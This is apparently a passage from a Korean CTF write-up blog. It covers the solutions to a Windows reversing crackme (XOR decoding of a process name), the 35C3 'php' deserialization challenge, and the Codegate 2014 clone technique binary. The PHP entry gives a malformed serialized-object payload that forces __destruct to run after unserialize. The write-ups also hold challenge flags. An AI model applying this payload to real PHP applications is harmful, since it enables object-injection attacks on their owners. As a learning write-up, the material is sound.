  int v23; // [esp+654h] [ebp-44h]

  int v24; // [esp+658h] [ebp-40h]

  int v25; // [esp+65Ch] [ebp-3Ch]

  int v26; // [esp+660h] [ebp-38h]

  int v27; // [esp+664h] [ebp-34h]

  int v28; // [esp+668h] [ebp-30h]

  int v29; // [esp+66Ch] [ebp-2Ch]

  int v30; // [esp+670h] [ebp-28h]

  int v31; // [esp+674h] [ebp-24h]

  int v32; // [esp+678h] [ebp-20h]

  int v33; // [esp+67Ch] [ebp-1Ch]

  int v34; // [esp+680h] [ebp-18h]

  int v35; // [esp+684h] [ebp-14h]

  int v36; // [esp+688h] [ebp-10h]

  int v37; // [esp+68Ch] [ebp-Ch]

  int v38; // [esp+694h] [ebp-4h]

  int savedregs; // [esp+698h] [ebp+0h]


  sub_411235(&unk_41C017);

  system("title Very_easy_Reversing!");

  ((void (*)(void))sub_41123F)();

  v18 = 31;

  v19 = 41;

  v20 = 66;

  v21 = 15;

  v22 = 58;

  v23 = 50;

  v24 = 40;

  v25 = 29;

  v26 = 23;

  v27 = 49;

  v28 = 19;

  v29 = 21;

  v30 = 71;

  v31 = 87;

  v32 = 65;

  v33 = 69;

  v34 = 71;

  v35 = 11;

  v36 = 31;

  v37 = 68;

  hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);

  GetCurrentProcessId();

  dwProcessId = ((int (*)(void))sub_41123F)();

  GetCurrentThread();

  v15 = ((int (*)(void))sub_41123F)();

  OpenProcess(0x2000000u, 1, dwProcessId);

  v14 = ((int (*)(void))sub_41123F)();

  GetCurrentProcessId();

  current_pid = ((int (*)(void))sub_41123F)();

  j_memset(Dst, 0, 0x104u);

  if ( hSnapshot )

  {

    pe.dwSize = 296;

    v9 = j_Process32First(hSnapshot, &pe);

    while ( v9 )

    {

      v9 = j_Process32Next(hSnapshot, &pe);

      v12 = j_strlen(pe.szExeFile);

      for ( i = 0; i < 0x14; ++i )

        pe.szExeFile[i] ^= *((_BYTE *)&v18 + 4 * i);

      j_memset(Dst, 0, 4u);

      v7 = pe.szExeFile;

      for ( j = 0; j < 20; ++j )

        Dst[j] = v7[j];

      FindWindowA(0, Dst);

      hWnd = (HWND)((int (*)(void))sub_41123F)();

      if ( hWnd )

      {

        GetWindowThreadProcessId(hWnd, &flag_pid);

        ((void (*)(void))sub_41123F)();

        if ( flag_pid == current_pid )

        {

          sub_41104B("Correct\n", v3);

          system("pause");

          ((void (*)(void))sub_41123F)();

          goto LABEL_15;

        }

      }

    }

  }

  system("pause");

  ((void (*)(void))sub_41123F)();

LABEL_15:

  sub_411262(&savedregs, &dword_411B9C, 0, v0);

  return sub_41123F((unsigned int)&savedregs ^ v38, v1);

}


코드를 보면 프로세스 리스트를 가져온 뒤 exe파일들에 대해 간단한 xor연산을 거친다. 이 때 구한 문자열을 통해 가져온 PID 값이 현재 파일의 PID와 같아야 한다. 즉 xor 연산을 통해 구해온 값이 현재 파일명인 Very_easy_Reversing!.exe이면 된다. 


 for ( i = 0; i < 0x14; ++i )

        pe.szExeFile[i] ^= *((_BYTE *)&v18 + 4 * i);


해당 코드에 맞게 복호화를 해보면 플래그가 나온다.


a = "Very_easy_Reversing!"
b = [31,41,66,15,58,50,40,29,23,49,19,21,71,87,65,69,71,11,31,68]
flag = ""
for i in range(0,len(a)):
flag += chr(ord(a[i])^b[i])
print "Flag = " + flag


Flag = IL0veWInnnAp1236.exe




'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

35C3 CTF 2018 php

CTF/Writeup 2018. 12. 30. 15:26

문제에서 제공해주는 소스를 확인해보면 다음과 같다.


<?php


$line = trim(fgets(STDIN));


$flag = file_get_contents('/flag');


class B {

  function __destruct() {

    global $flag;

    echo $flag;

  }

}


$a = @unserialize($line);


throw new Exception('Well that was unexpected…');


echo $a;


간단히 B 클래스의 serialize된 데이터를 넣어주면 될 것 같은데 unserialize 후 강제로 익셉션을 발생시키는 코드 때문에 __destruct 메소드가 호출되지 않았다.

로컬에서 이것저것 테스트해보다가 직렬화된 데이터를 비정상적으로 조작해서 요청하니 다음과 같이 역직렬화 후 __destruct가 호출되는걸 볼 수 있었다.



요대로 문제 서버에 요청해보니 플래그가 나왔다.


payload = O:1:"B":0:{



Flag = 35C3_php_is_fun_php_is_fun

'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

윈도우 리버싱 문제다.


바이너리를 실행해보면 딱히 눈에 보이는 것 없이 아무것도 하지 않고 그냥 꺼진다. 


ida로 코드를 확인해보면 다음과 같이 자기 자신을 재귀적으로 400번 실행하는 작업을 한다.



이 때 눈여겨 볼게 프로세스 실행을 할 때 3개의 인자가 추가되어 실행이 된다는 점이다. 이 값이 어떻게 생성되는지 확인해보면 다음과 같다.



프로세스 실행 시 입력된 인자를 통해 특정 연산들을 거쳐 새로운 인자 값을 만들어 다음 프로세스 실행 시 인자로 사용하는 걸 볼 수 있었다. 


그리고 코드를 잘 보면 입력 된 인자 값을 새로운 인자 값으로 세팅하기 전에 memset으로 특정 메모리 영역을 초기화 시키는데 이 때 초기화되는 메모리 영역이 특정 함수를 통해 지정된다. 


이 함수 인자로 프로세스 실행 시 사용되는 인자 2개가 사용되기 때문에 해당 함수가 어떤 작업을 하는지 살펴보았다.


 코드를 보면 특정 메모리 영역에 존재하는 값을 프로세스 실행 시 사용된 인자 2개로 간단한 xor를 통해 복호화 하는 작업을 하고 있었다. 이를 통해 총 400개의 프로세스 중 정확히 복호화를 진행하는 인자 값이 존재할 거라고 생각했다.


이제 인자 값을 새로 세팅하는 로직을 분석해서 복호화를 진행하면 되는데, 코드 짜는데 시간이 좀 걸릴 것 같아서 아래와 같이 코드 패치를 통해 각 프로세스 별로 복호화된 문자열을 메시지 박스 형태로 띄우도록 했다.





이제 프로그램 실행 후 메시지박스를 계속 클릭해주다보면 다음과 같이 복호화된 문자열 중 정상적인 값이 나온다.
















'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,